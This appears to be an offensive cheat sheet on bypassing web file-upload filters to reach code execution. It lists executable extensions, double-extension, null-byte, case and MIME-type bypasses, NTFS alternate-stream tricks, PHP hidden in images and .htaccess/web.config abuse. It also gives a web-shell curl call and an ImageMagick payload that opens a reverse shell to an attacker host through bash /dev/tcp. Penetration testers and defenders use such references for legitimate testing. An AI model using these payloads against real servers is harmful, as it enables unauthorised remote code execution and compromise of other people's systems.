Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
- Default PHP extensions
.php .php3 .php4 .php5 .php7
- Less known extensions
.pht .phps .phar .phpt .pgif .phtml .phtm .inc
- Double extensions
.jpeg.php .jpg.php .png.php .*.php
- asp :
.asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0)
- perl:
.pl, .pm, .cgi, .lib
- jsp :
.jsp, .jspx, .jsw, .jsv, .jspf
- Coldfusion:
.cfm, .cfml, .cfc, .dbm
-
Use double extensions :
.jpg.php
-
Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code):
.php.jpg
-
Mix uppercase and lowercase :
.pHp, .pHP5, .PhAr
-
Null byte (works well against
pathinfo()
)- .php%00.gif
- .php\x00.gif
- .php%00.png
- .php\x00.png
- .php%00.jpg
- .php\x00.jpg
-
Special characters
- file.php...... (In Windows when a file is created with dots at the end those will be removed)
- file.php%20
-
Mime type, change
Content-Type : application/x-php
orContent-Type : application/octet-stream
toContent-Type : image/gif
Content-Type : image/gif
Content-Type : image/png
Content-Type : image/jpeg
-
- Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.
-
Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")
Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'"
.
- Picture Metadata, hide the payload inside a comment tag in the metadata.
- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating
getimagesize()
andimagecreatefromgif()
.
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code. If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
Configuration files examples
- .htaccess
- web.config
- httpd.conf
- __init__.py
Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
More payload in the folder Picture Image Magik
When a ZIP/archive file is automatically decompressed after the upload
- Zip Slip: directory traversal to write a file somewhere else
- Bulletproof Jpegs Generator - Damien "virtualabs" Cauquil
- BookFresh Tricky File Upload Bypass to RCE, NOV 29, 2014 - AHMED ABOUL-ELA
- Encoding Web Shells in PNG IDAT chunks, 04-06-2012, phil
- La PNG qui se prenait pour du PHP, 23 février 2014
- File Upload restrictions bypass - Haboob Team